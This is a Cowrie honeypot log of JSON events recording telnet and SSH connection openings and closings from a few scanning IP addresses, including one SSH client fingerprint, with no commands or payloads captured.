{"eventid":"cowrie.session.closed","duration":31.511464834213257,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:16:28.734995Z","src_ip":"64.237.60.107","session":"c6b83667827c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.700499296188354,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:16:29.144766Z","src_ip":"64.237.60.107","session":"6b052e314d19","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"149.255.39.70","src_port":39844,"dst_ip":"10.17.0.5","dst_port":23,"session":"252e2e0b74f4","protocol":"telnet","message":"New connection: 149.255.39.70:39844 (10.17.0.5:23) [session: 252e2e0b74f4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:16:29.552401Z"}
{"eventid":"cowrie.session.closed","duration":31.054085969924927,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:16:30.084255Z","src_ip":"64.237.60.107","session":"fcf62f23d8f7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.69855260848999,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:16:30.125329Z","src_ip":"64.237.60.107","session":"8bb12543b644","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"149.255.39.70","src_port":39854,"dst_ip":"10.17.0.5","dst_port":23,"session":"05e04ce04630","protocol":"telnet","message":"New connection: 149.255.39.70:39854 (10.17.0.5:23) [session: 05e04ce04630]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:16:30.245533Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.77.199.58","src_port":50064,"dst_ip":"10.17.0.5","dst_port":23,"session":"bba1bb1b68fa","protocol":"telnet","message":"New connection: 45.77.199.58:50064 (10.17.0.5:23) [session: bba1bb1b68fa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:16:30.255005Z"}
{"eventid":"cowrie.session.connect","src_ip":"149.255.39.70","src_port":39870,"dst_ip":"10.17.0.5","dst_port":23,"session":"9b0672250495","protocol":"telnet","message":"New connection: 149.255.39.70:39870 (10.17.0.5:23) [session: 9b0672250495]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:16:30.602063Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.77.199.58","src_port":50072,"dst_ip":"10.17.0.5","dst_port":23,"session":"2b662d56265f","protocol":"telnet","message":"New connection: 45.77.199.58:50072 (10.17.0.5:23) [session: 2b662d56265f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:16:31.089579Z"}
{"eventid":"cowrie.session.closed","duration":31.01662826538086,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:16:31.135246Z","src_ip":"64.237.60.107","session":"8e7f83bd89f0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.684515476226807,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:16:31.170060Z","src_ip":"64.237.60.107","session":"b75814bd4350","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.192217111587524,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:16:31.189326Z","src_ip":"64.237.60.107","session":"d42e48544921","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.67896556854248,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:16:31.545953Z","src_ip":"64.237.60.107","session":"68411f77399f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"149.255.39.70","src_port":39886,"dst_ip":"10.17.0.5","dst_port":23,"session":"c5f3c49bdedc","protocol":"telnet","message":"New connection: 149.255.39.70:39886 (10.17.0.5:23) [session: c5f3c49bdedc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:16:31.554488Z"}
{"eventid":"cowrie.session.closed","duration":30.901930570602417,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:16:32.063662Z","src_ip":"64.237.60.107","session":"914e2a2a29ec","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.920836448669434,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:16:32.263600Z","src_ip":"64.237.60.107","session":"c6133a0f2aa2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.71313714981079,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:16:33.033509Z","src_ip":"45.77.199.58","session":"6d444fbe6f7d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.82601523399353,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:16:33.156449Z","src_ip":"64.237.60.107","session":"7d7bb1e20cb1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.05637288093567,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:16:33.339290Z","src_ip":"64.237.60.107","session":"f37a012290a8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.171026468276978,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:16:34.145202Z","src_ip":"64.237.60.107","session":"14317007a23f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"149.255.39.70","src_port":39894,"dst_ip":"10.17.0.5","dst_port":23,"session":"a247d5748215","protocol":"telnet","message":"New connection: 149.255.39.70:39894 (10.17.0.5:23) [session: a247d5748215]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:16:34.239000Z"}
{"eventid":"cowrie.session.closed","duration":30.510549068450928,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:16:34.390028Z","src_ip":"64.237.60.107","session":"b5cb2ef42401","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.77.199.58","src_port":48090,"dst_ip":"10.17.0.5","dst_port":23,"session":"dfc8476532e8","protocol":"telnet","message":"New connection: 45.77.199.58:48090 (10.17.0.5:23) [session: dfc8476532e8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:16:35.748521Z"}
{"eventid":"cowrie.session.closed","duration":30.775999069213867,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:16:36.015830Z","src_ip":"45.77.199.58","session":"502f226c191c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.987420082092285,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:16:36.020520Z","src_ip":"64.237.60.107","session":"4abfd6d0e2a8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.99897289276123,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:16:36.025239Z","src_ip":"64.237.60.107","session":"f99f53acabec","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.789085388183594,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:16:36.038039Z","src_ip":"45.77.199.58","session":"2890ef9dcd58","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.66923213005066,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:16:36.143887Z","src_ip":"64.237.60.107","session":"0ea5f8954089","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.270307779312134,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:16:36.389004Z","src_ip":"64.237.60.107","session":"eed4ab7a9a6f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.084278106689453,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:16:37.185378Z","src_ip":"45.77.199.58","session":"c2cabf587fcd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.35885000228882,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:16:37.389188Z","src_ip":"64.237.60.107","session":"ec03794d0ebf","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.240404844284058,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:16:38.059345Z","src_ip":"45.77.199.58","session":"19d05f3ab770","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.77.199.58","src_port":48098,"dst_ip":"10.17.0.5","dst_port":23,"session":"54d37a0ac26b","protocol":"telnet","message":"New connection: 45.77.199.58:48098 (10.17.0.5:23) [session: 54d37a0ac26b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:16:38.099540Z"}
{"eventid":"cowrie.session.closed","duration":30.542973518371582,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:16:38.161790Z","src_ip":"64.237.60.107","session":"95314196506a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.847700119018555,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:16:39.007679Z","src_ip":"64.237.60.107","session":"8e5bfa185808","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"149.255.39.70","src_port":58642,"dst_ip":"10.17.0.5","dst_port":23,"session":"41539305611b","protocol":"telnet","message":"New connection: 149.255.39.70:58642 (10.17.0.5:23) [session: 41539305611b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:16:39.014762Z"}
{"eventid":"cowrie.session.closed","duration":12.985728979110718,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:16:39.728609Z","src_ip":"205.254.168.20","session":"ce5f58708c55","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.83227562904358,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:16:40.091072Z","src_ip":"45.77.199.58","session":"3912d30d4b88","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.78123164176941,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:16:40.158127Z","src_ip":"64.237.60.107","session":"d7e0f83de2f2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.919137477874756,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:16:40.490807Z","src_ip":"64.237.60.107","session":"ffeb1c1eab07","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.934725761413574,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:16:41.135033Z","src_ip":"64.237.60.107","session":"174ded4ab2b1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"149.255.39.70","src_port":58658,"dst_ip":"10.17.0.5","dst_port":23,"session":"90c6a6e09e6d","protocol":"telnet","message":"New connection: 149.255.39.70:58658 (10.17.0.5:23) [session: 90c6a6e09e6d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:16:41.750030Z"}
{"eventid":"cowrie.session.closed","duration":31.042306661605835,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:16:42.221269Z","src_ip":"45.77.199.58","session":"e06dcb4613bf","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.649139404296875,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:16:42.285204Z","src_ip":"64.237.60.107","session":"40cd891ae8f2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.185744047164917,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:16:42.495259Z","src_ip":"45.77.199.58","session":"3b058cfa6b49","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.954997539520264,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:16:42.900921Z","src_ip":"64.237.60.107","session":"cb3024ec0104","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.25324273109436,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:16:43.027703Z","src_ip":"149.255.39.70","session":"2af3ea7e8c5b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.274414777755737,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:16:43.322114Z","src_ip":"64.237.60.107","session":"3320169aa414","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"149.255.39.70","src_port":58670,"dst_ip":"10.17.0.5","dst_port":23,"session":"b6cda67d494f","protocol":"telnet","message":"New connection: 149.255.39.70:58670 (10.17.0.5:23) [session: b6cda67d494f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:16:44.304235Z"}
{"eventid":"cowrie.session.closed","duration":30.748198986053467,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:16:45.053243Z","src_ip":"45.77.199.58","session":"e9a6ffb84e51","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.518991708755493,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:16:45.073452Z","src_ip":"64.237.60.107","session":"b21c6addaf76","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.237.60.107","src_port":39360,"dst_ip":"10.17.0.5","dst_port":23,"session":"15fe5c5933f3","protocol":"telnet","message":"New connection: 64.237.60.107:39360 (10.17.0.5:23) [session: 15fe5c5933f3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:16:45.159883Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.77.199.58","src_port":48782,"dst_ip":"10.17.0.5","dst_port":23,"session":"7f778827c2d9","protocol":"telnet","message":"New connection: 45.77.199.58:48782 (10.17.0.5:23) [session: 7f778827c2d9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:16:45.229818Z"}
{"eventid":"cowrie.session.closed","duration":31.084019422531128,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:16:45.478800Z","src_ip":"64.237.60.107","session":"8eecfb73f820","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.043530464172363,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:16:46.154177Z","src_ip":"64.237.60.107","session":"214b17ce0c5d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"149.255.39.70","src_port":38986,"dst_ip":"10.17.0.5","dst_port":23,"session":"0c27771de7ca","protocol":"telnet","message":"New connection: 149.255.39.70:38986 (10.17.0.5:23) [session: 0c27771de7ca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:16:47.132360Z"}
{"eventid":"cowrie.session.connect","src_ip":"149.255.39.70","src_port":38994,"dst_ip":"10.17.0.5","dst_port":23,"session":"78c9232dd802","protocol":"telnet","message":"New connection: 149.255.39.70:38994 (10.17.0.5:23) [session: 78c9232dd802]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:16:48.296291Z"}
{"eventid":"cowrie.session.connect","src_ip":"149.255.39.70","src_port":38996,"dst_ip":"10.17.0.5","dst_port":23,"session":"d7f20ae1ff91","protocol":"telnet","message":"New connection: 149.255.39.70:38996 (10.17.0.5:23) [session: d7f20ae1ff91]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:16:48.557208Z"}
{"eventid":"cowrie.session.closed","duration":30.38517951965332,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:16:49.022937Z","src_ip":"45.77.199.58","session":"4b88b482f0c8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.32.163.183","src_port":32598,"dst_ip":"10.17.0.5","dst_port":22,"session":"aefa834d299d","protocol":"ssh","message":"New connection: 152.32.163.183:32598 (10.17.0.5:22) [session: aefa834d299d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:16:51.910463Z"}
{"eventid":"cowrie.session.closed","duration":30.928709983825684,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:16:52.052842Z","src_ip":"45.77.199.58","session":"dbaf4c0033b0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"149.255.39.70","src_port":39004,"dst_ip":"10.17.0.5","dst_port":23,"session":"4e2eb60824d5","protocol":"telnet","message":"New connection: 149.255.39.70:39004 (10.17.0.5:23) [session: 4e2eb60824d5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:16:52.148656Z"}
{"eventid":"cowrie.session.connect","src_ip":"149.255.39.70","src_port":39018,"dst_ip":"10.17.0.5","dst_port":23,"session":"6268c7150f04","protocol":"telnet","message":"New connection: 149.255.39.70:39018 (10.17.0.5:23) [session: 6268c7150f04]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:16:52.771533Z"}
{"eventid":"cowrie.session.closed","duration":30.619005918502808,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:16:53.197986Z","src_ip":"149.255.39.70","session":"7434ad2abbf1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.77.199.58","src_port":35288,"dst_ip":"10.17.0.5","dst_port":23,"session":"cff620bb725b","protocol":"telnet","message":"New connection: 45.77.199.58:35288 (10.17.0.5:23) [session: cff620bb725b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:16:54.167799Z"}
{"eventid":"cowrie.session.closed","duration":31.191539525985718,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:16:54.264450Z","src_ip":"149.255.39.70","session":"f034a8da4043","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.61515212059021,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:16:56.146765Z","src_ip":"149.255.39.70","session":"a28f3aa15d05","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.317749500274658,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:16:56.170697Z","src_ip":"64.237.60.107","session":"39fa74fbca0a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.76096200942993,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:16:56.762375Z","src_ip":"149.255.39.70","session":"38954efe74fb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.237.60.107","src_port":43866,"dst_ip":"10.17.0.5","dst_port":23,"session":"e861b0f9a11d","protocol":"telnet","message":"New connection: 64.237.60.107:43866 (10.17.0.5:23) [session: e861b0f9a11d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:16:57.514035Z"}
{"eventid":"cowrie.session.connect","src_ip":"149.255.39.70","src_port":44358,"dst_ip":"10.17.0.5","dst_port":23,"session":"8d52f8c657ad","protocol":"telnet","message":"New connection: 149.255.39.70:44358 (10.17.0.5:23) [session: 8d52f8c657ad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:16:57.536099Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:16:57.914677Z","src_ip":"152.32.163.183","session":"aefa834d299d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:16:57.918776Z","src_ip":"152.32.163.183","session":"aefa834d299d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.0","message":"Connection lost after 6.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:16:57.925905Z","src_ip":"152.32.163.183","session":"aefa834d299d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.779386281967163,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:16:59.050274Z","src_ip":"149.255.39.70","session":"87669d64664c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.558859825134277,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:16:59.687921Z","src_ip":"149.255.39.70","session":"633419d684a9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.693141222000122,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:17:00.245406Z","src_ip":"149.255.39.70","session":"252e2e0b74f4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.80637216567993,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:17:01.061247Z","src_ip":"45.77.199.58","session":"bba1bb1b68fa","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.99567461013794,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:17:01.241097Z","src_ip":"149.255.39.70","session":"05e04ce04630","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.7033531665802,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:17:01.305328Z","src_ip":"149.255.39.70","session":"9b0672250495","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.9523446559906,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:17:02.041817Z","src_ip":"45.77.199.58","session":"2b662d56265f","protocol":"telnet"}
